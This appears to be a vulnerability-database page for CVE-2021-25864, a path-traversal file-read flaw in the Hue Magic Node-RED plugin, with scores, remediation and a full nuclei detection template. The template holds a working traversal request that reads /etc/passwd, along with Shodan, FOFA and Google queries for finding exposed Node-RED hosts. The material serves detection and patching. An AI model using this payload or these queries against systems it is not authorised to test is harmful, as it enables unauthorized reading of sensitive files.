Browse / CVEs / CVE-2021-25864
CVE-2021-25864· dgtl / huemagic· CWE-22
Hue Magic 3.0.0 - Local File Inclusion
highseverity
7.5CVSS score
9.3%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it
Hue Magic 3.0.0 is susceptible to local file inclusion via the res.sendFile API.
Impact
The LFI vulnerability can lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing for further exploitation.
Fix
Apply the latest security patch or update to a non-vulnerable version of Hue Magic.
How to confirm it
Send: GET {{BaseURL}}/hue/assets/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2fpasswd
Positive when: matches /root:.*:0:0:/ AND status 200Run it with nuclei: nuclei -id CVE-2021-25864 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-25864
info:
name: Hue Magic 3.0.0 - Local File Inclusion
author: 0x_Akoko
severity: high
description: Hue Magic 3.0.0 is susceptible to local file inclusion via the res.sendFile API.
impact: |
The LFI vulnerability can lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing for further exploitation.
remediation: |
Apply the latest security patch or update to a non-vulnerable version of Hue Magic.
reference:
- https://github.com/Foddy/node-red-contrib-huemagic/issues/217
- https://nvd.nist.gov/vuln/detail/CVE-2021-25864
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-25864
cwe-id: CWE-22
epss-score: 0.09331
epss-percentile: 0.95423
cpe: cpe:2.3:a:dgtl:huemagic:3.0.0:*:*:*:*:node.js:*:*
metadata:
max-request: 1
vendor: dgtl
product: huemagic
framework: node.js
shodan-query:
- title:"NODE-RED"
- http.title:"node-red"
fofa-query: title="node-red"
google-query: intitle:"node-red"
tags: cve2021,cve,huemagic,lfi,dgtl,node.js,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/hue/assets/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2fpasswd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200References
- https://github.com/Foddy/node-red-contrib-huemagic/issues/217
- https://nvd.nist.gov/vuln/detail/CVE-2021-25864
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from